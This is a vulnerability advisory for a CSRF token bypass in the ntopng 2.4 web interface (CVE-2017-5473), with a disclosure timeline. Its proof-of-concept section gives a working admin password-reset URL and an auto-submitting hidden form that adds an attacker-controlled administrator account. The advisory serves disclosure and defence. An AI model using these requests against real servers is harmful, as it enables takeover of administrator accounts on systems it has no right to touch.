NTOPNG 2.4 Web Interface - Cross-Site Request Forgery

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[+] Credits / Discovery: John Page AKA Hyp3rlinX
[+] Website: hyp3rlinx.altervista.org
[+] Source: http://hyp3rlinx.altervista.org/advisories/NTOPNG-CSRF-TOKEN-BYPASS.txt
[+] ISR: ApparitionSEC
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Vendor:
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www.ntop.org


Product:
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ntopng Web Interface
v2.4.160627

ntopng is the next generation version of the original ntop, a network
traffic probe that shows the network usage, similar
to what the popular top Unix command does. ntopng is based on libpcap and
it has been written in a portable way in order to
virtually run on every Unix platform, MacOSX and on Windows as well.


Vulnerability Type:
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CSRF Token Bypass



CVE Reference:
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CVE-2017-5473



Security Issue:
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By simply omitting the CSRF token or supplying arbitrary token values will
bypass CSRF protection when making HTTP requests,
to the ntopng web interface. Allowing remote attackers the rights to make
HTTP requests on an authenticated users behalf, if
the user clicks an malicious link or visits an attacker webpage etc.


Exploit/POC:
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1) Change admin password
http://VICTIM-SERVER:3000/lua/admin/password_reset.lua?csrf=NOT-EVEN-CHECKED&username=admin&new_password=xyz123&confirm_new_password=xyz123


2) Add arbitrary

<form action="
http://VICTIM-SERVER:3000/lua/admin/add_user.lua?csrf=NOT-EVEN-CHECKED"
method="GET">
<input type="hidden" name="username"  value="hyp3rlinx">
<input type="hidden" name="full_name"  value="TheApparitioN">
<input type="hidden" name="password"  value="abc123">
<input type="hidden" name="confirm_password"  value="abc123">
<input type="hidden" name="host_role"  value="administrator">
<input type="hidden" name="allowed_networks"  value="0.0.0.0/,::/">
<input type="hidden" name="allowed_interface"  value="HTTP/1.1">
<script>document.forms[0].submit()</script>
</form>



Disclosure Timeline:
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Vendor Notification: January 11, 2017
Vendor acknowledgement: January 12, 2017
Vendor Fixed Issue
January 20, 2017 : Public Disclosure



Network Access:
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Remote


Impact:
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Information Disclosure
Privilege Escalation



Severity:
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High



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